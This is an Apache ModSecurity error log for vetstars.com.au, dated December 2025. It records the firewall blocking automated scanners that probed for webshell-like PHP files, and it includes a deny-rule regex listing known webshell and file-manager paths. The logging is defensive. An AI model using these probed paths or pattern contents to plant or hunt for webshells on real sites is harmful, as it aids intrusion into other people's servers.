[Tue Dec 23 02:05:53.665733 2025] [:error] [pid 40267:tid 40282] [client 13.79.133.172:14811] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g.php"] [unique_id "aUmIgeTPWWVt2GkrftB2vwAAAAk"]
[Tue Dec 23 02:05:54.278306 2025] [:error] [pid 40267:tid 40290] [client 13.79.133.172:14487] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g.php"] [unique_id "aUmIguTPWWVt2GkrftB2wAAAABE"]
[Tue Dec 23 02:05:54.853960 2025] [:error] [pid 40267:tid 40278] [client 13.79.133.172:14177] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1aa.php"] [unique_id "aUmIguTPWWVt2GkrftB2wQAAAAU"]
[Tue Dec 23 02:05:55.413173 2025] [:error] [pid 40361:tid 40383] [client 13.79.133.172:1576] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1aa.php"] [unique_id "aUmIg-xiDEK95vL2EDrefgAAAFQ"]
[Tue Dec 23 02:05:56.014985 2025] [:error] [pid 40361:tid 40365] [client 13.79.133.172:14523] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1aa.php"] [unique_id "aUmIhOxiDEK95vL2EDrehAAAAEI"]
[Tue Dec 23 02:05:56.581521 2025] [:error] [pid 40361:tid 40370] [client 13.79.133.172:13990] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1aa.php"] [unique_id "aUmIhOxiDEK95vL2EDreiwAAAEc"]
[Tue Dec 23 02:05:57.136092 2025] [:error] [pid 40267:tid 40291] [client 13.79.133.172:15400] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z.php"] [unique_id "aUmIheTPWWVt2GkrftB2yAAAABI"]
[Tue Dec 23 02:05:57.719679 2025] [:error] [pid 40268:tid 40313] [client 13.79.133.172:6418] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z.php"] [unique_id "aUmIhZWtCyS5tdJAiFxkGAAAAMs"]
[Tue Dec 23 02:05:58.304972 2025] [:error] [pid 40267:tid 40287] [client 13.79.133.172:1590] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z.php"] [unique_id "aUmIhuTPWWVt2GkrftB2zAAAAA4"]
[Tue Dec 23 02:05:58.853986 2025] [:error] [pid 40267:tid 40274] [client 13.79.133.172:10892] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z.php"] [unique_id "aUmIhuTPWWVt2GkrftB2zQAAAAE"]
[Tue Dec 23 02:05:59.417302 2025] [:error] [pid 40269:tid 40337] [client 13.79.133.172:4539] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/e.php"] [unique_id "aUmIhy06Z11fTcfdsqTvIgAAAQg"]
[Tue Dec 23 02:05:59.988951 2025] [:error] [pid 40268:tid 40309] [client 13.79.133.172:7317] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/e.php"] [unique_id "aUmIh5WtCyS5tdJAiFxkHgAAAMc"]
[Tue Dec 23 02:06:00.557171 2025] [:error] [pid 40268:tid 40307] [client 13.79.133.172:10094] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/e.php"] [unique_id "aUmIiJWtCyS5tdJAiFxkIgAAAMU"]
[Tue Dec 23 02:06:01.094983 2025] [:error] [pid 40267:tid 40296] [client 13.79.133.172:10931] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/e.php"] [unique_id "aUmIieTPWWVt2GkrftB20wAAABc"]
[Tue Dec 23 02:06:01.639288 2025] [:error] [pid 40268:tid 40321] [client 13.79.133.172:10102] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/geger.php"] [unique_id "aUmIiZWtCyS5tdJAiFxkJwAAANM"]
[Tue Dec 23 02:06:02.221559 2025] [:error] [pid 40267:tid 40282] [client 13.79.133.172:9884] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/geger.php"] [unique_id "aUmIiuTPWWVt2GkrftB21AAAAAk"]
[Tue Dec 23 02:06:02.782845 2025] [:error] [pid 40361:tid 40370] [client 13.79.133.172:10104] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/geger.php"] [unique_id "aUmIiuxiDEK95vL2EDremgAAAEc"]
[Tue Dec 23 02:06:03.353863 2025] [:error] [pid 40267:tid 40293] [client 13.79.133.172:7320] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/geger.php"] [unique_id "aUmIi-TPWWVt2GkrftB22gAAABQ"]
[Tue Dec 23 02:06:03.924018 2025] [:error] [pid 40267:tid 40287] [client 13.79.133.172:15373] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsa.php"] [unique_id "aUmIi-TPWWVt2GkrftB23QAAAA4"]
[Tue Dec 23 02:06:04.488845 2025] [:error] [pid 40361:tid 40383] [client 13.79.133.172:8479] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsa.php"] [unique_id "aUmIjOxiDEK95vL2EDrenQAAAFQ"]
[Tue Dec 23 02:06:05.045668 2025] [:error] [pid 40269:tid 40334] [client 13.79.133.172:1117] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsa.php"] [unique_id "aUmIjS06Z11fTcfdsqTvKAAAAQU"]
[Tue Dec 23 02:06:05.611904 2025] [:error] [pid 40268:tid 40312] [client 13.79.133.172:6383] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsa.php"] [unique_id "aUmIjZWtCyS5tdJAiFxkLQAAAMo"]
[Tue Dec 23 02:06:06.208443 2025] [:error] [pid 40269:tid 40342] [client 13.79.133.172:1115] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aUmIji06Z11fTcfdsqTvKgAAAQ0"]
[Tue Dec 23 02:06:06.762039 2025] [:error] [pid 40361:tid 40369] [client 13.79.133.172:13983] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aUmIjuxiDEK95vL2EDreogAAAEY"]
[Tue Dec 23 02:06:07.311939 2025] [:error] [pid 40361:tid 40365] [client 13.79.133.172:3704] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aUmIj-xiDEK95vL2EDrepQAAAEI"]
[Tue Dec 23 02:06:07.890690 2025] [:error] [pid 40361:tid 40387] [client 13.79.133.172:3707] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aUmIj-xiDEK95vL2EDreqgAAAFg"]
[Tue Dec 23 02:06:08.466019 2025] [:error] [pid 40361:tid 40371] [client 13.79.133.172:3995] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xpw.php"] [unique_id "aUmIkOxiDEK95vL2EDrerQAAAEg"]
[Tue Dec 23 02:06:09.039045 2025] [:error] [pid 40269:tid 40348] [client 13.79.133.172:1093] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xpw.php"] [unique_id "aUmIkS06Z11fTcfdsqTvLQAAARM"]
[Tue Dec 23 02:06:09.609512 2025] [:error] [pid 40269:tid 40332] [client 13.79.133.172:6396] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xpw.php"] [unique_id "aUmIkS06Z11fTcfdsqTvLwAAAQM"]
[Tue Dec 23 02:06:10.164644 2025] [:error] [pid 40267:tid 40278] [client 13.79.133.172:8461] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xpw.php"] [unique_id "aUmIkuTPWWVt2GkrftB25QAAAAU"]
[Tue Dec 23 02:06:10.731772 2025] [:error] [pid 40269:tid 40345] [client 13.79.133.172:16097] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dlex.php"] [unique_id "aUmIki06Z11fTcfdsqTvMQAAARA"]
[Tue Dec 23 02:06:11.311799 2025] [:error] [pid 40267:tid 40290] [client 13.79.133.172:15007] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dlex.php"] [unique_id "aUmIk-TPWWVt2GkrftB25gAAABE"]
[Tue Dec 23 02:06:11.881331 2025] [:error] [pid 40269:tid 40353] [client 13.79.133.172:1442] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dlex.php"] [unique_id "aUmIky06Z11fTcfdsqTvNQAAARg"]
[Tue Dec 23 02:06:12.453773 2025] [:error] [pid 40268:tid 40316] [client 13.79.133.172:1114] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dlex.php"] [unique_id "aUmIlJWtCyS5tdJAiFxkOwAAAM4"]
[Tue Dec 23 02:48:53.006706 2025] [:error] [pid 12110:tid 12133] [client 195.24.236.147:56135] [client 195.24.236.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aUmSlQYatzD_WebWpOrrDAAAAJU"]
[Tue Dec 23 02:48:54.415922 2025] [:error] [pid 40268:tid 40303] [client 195.24.236.147:56444] [client 195.24.236.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aUmSlpWtCyS5tdJAiFx1uwAAAME"]
[Tue Dec 23 02:48:55.759392 2025] [:error] [pid 40268:tid 40305] [client 195.24.236.147:56740] [client 195.24.236.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aUmSl5WtCyS5tdJAiFx14gAAAMM"]
[Tue Dec 23 02:48:57.082102 2025] [:error] [pid 40268:tid 40317] [client 195.24.236.147:56997] [client 195.24.236.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aUmSmZWtCyS5tdJAiFx2CwAAAM8"]
[Tue Dec 23 02:48:58.365455 2025] [:error] [pid 40267:tid 40289] [client 195.24.236.147:57299] [client 195.24.236.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aUmSmuTPWWVt2GkrftCNagAAABA"]
[Tue Dec 23 03:50:13.948290 2025] [:error] [pid 32628:tid 32677] [client 212.87.218.252:23005] [client 212.87.218.252] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.87.218.252, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aUmg9WrvXnAqoBonZirbHgAAAFA"], referer: https://vetstars.com.au/
[Tue Dec 23 04:46:06.502530 2025] [:error] [pid 49061:tid 49111] [client 40.83.90.200:15305] [client 40.83.90.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "aUmuDmRtvGWfzuDz6nQcUAAAAFM"]
[Tue Dec 23 04:46:11.100899 2025] [:error] [pid 49060:tid 49085] [client 40.83.90.200:15253] [client 40.83.90.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "aUmuE_vdpPyXg0aYbMVGHwAAABU"]
[Tue Dec 23 04:46:28.168170 2025] [:error] [pid 49060:tid 49070] [client 40.83.90.200:15273] [client 40.83.90.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bs1.php"] [unique_id "aUmuJPvdpPyXg0aYbMVGQQAAAAY"]
[Tue Dec 23 04:46:44.874502 2025] [:error] [pid 49061:tid 49096] [client 40.83.90.200:15296] [client 40.83.90.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aUmuNGRtvGWfzuDz6nQcwgAAAEQ"]
[Tue Dec 23 04:46:49.477890 2025] [:error] [pid 49062:tid 49134] [client 40.83.90.200:15254] [client 40.83.90.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aUmuOf_oMXBKdV37va2SXQAAAI8"]
[Tue Dec 23 04:46:52.478755 2025] [:error] [pid 49062:tid 49130] [client 40.83.90.200:15244] [client 40.83.90.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aUmuPP_oMXBKdV37va2ScQAAAIs"]
[Tue Dec 23 04:46:55.102559 2025] [:error] [pid 49060:tid 49084] [client 40.83.90.200:15309] [client 40.83.90.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aUmuP_vdpPyXg0aYbMVGtQAAABQ"]
[Tue Dec 23 04:47:41.042905 2025] [:error] [pid 49150:tid 49174] [client 40.83.90.200:15326] [client 40.83.90.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/fm.php"] [unique_id "aUmubUuL91O4jNPzb4FVpQAAANY"]
[Tue Dec 23 04:48:07.312223 2025] [:error] [pid 49062:tid 49134] [client 40.83.90.200:15295] [client 40.83.90.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/function.php"] [unique_id "aUmuh__oMXBKdV37va2TLwAAAI8"]
[Tue Dec 23 04:48:11.709236 2025] [:error] [pid 49061:tid 49103] [client 40.83.90.200:15301] [client 40.83.90.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/function.php"] [unique_id "aUmui2RtvGWfzuDz6nQd0QAAAEs"]
[Tue Dec 23 04:48:13.471233 2025] [:error] [pid 49060:tid 49086] [client 40.83.90.200:9163] [client 40.83.90.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/function.php"] [unique_id "aUmujfvdpPyXg0aYbMVHNgAAABY"]
[Tue Dec 23 04:48:21.330564 2025] [:error] [pid 49062:tid 49121] [client 40.83.90.200:15248] [client 40.83.90.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/function.php"] [unique_id "aUmulf_oMXBKdV37va2TSQAAAII"]
[Tue Dec 23 04:48:25.298265 2025] [:error] [pid 49060:tid 49080] [client 40.83.90.200:15300] [client 40.83.90.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ot.php"] [unique_id "aUmumfvdpPyXg0aYbMVHQgAAABA"]
[Tue Dec 23 04:48:26.946995 2025] [:error] [pid 49062:tid 49134] [client 40.83.90.200:15260] [client 40.83.90.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ot.php"] [unique_id "aUmumv_oMXBKdV37va2TUgAAAI8"]
[Tue Dec 23 04:48:40.574647 2025] [:error] [pid 49061:tid 49113] [client 40.83.90.200:15314] [client 40.83.90.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/post.php"] [unique_id "aUmuqGRtvGWfzuDz6nQeugAAAFU"]
[Tue Dec 23 04:48:42.964824 2025] [:error] [pid 49060:tid 49078] [client 40.83.90.200:15274] [client 40.83.90.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/post.php"] [unique_id "aUmuqvvdpPyXg0aYbMVHVwAAAA4"]
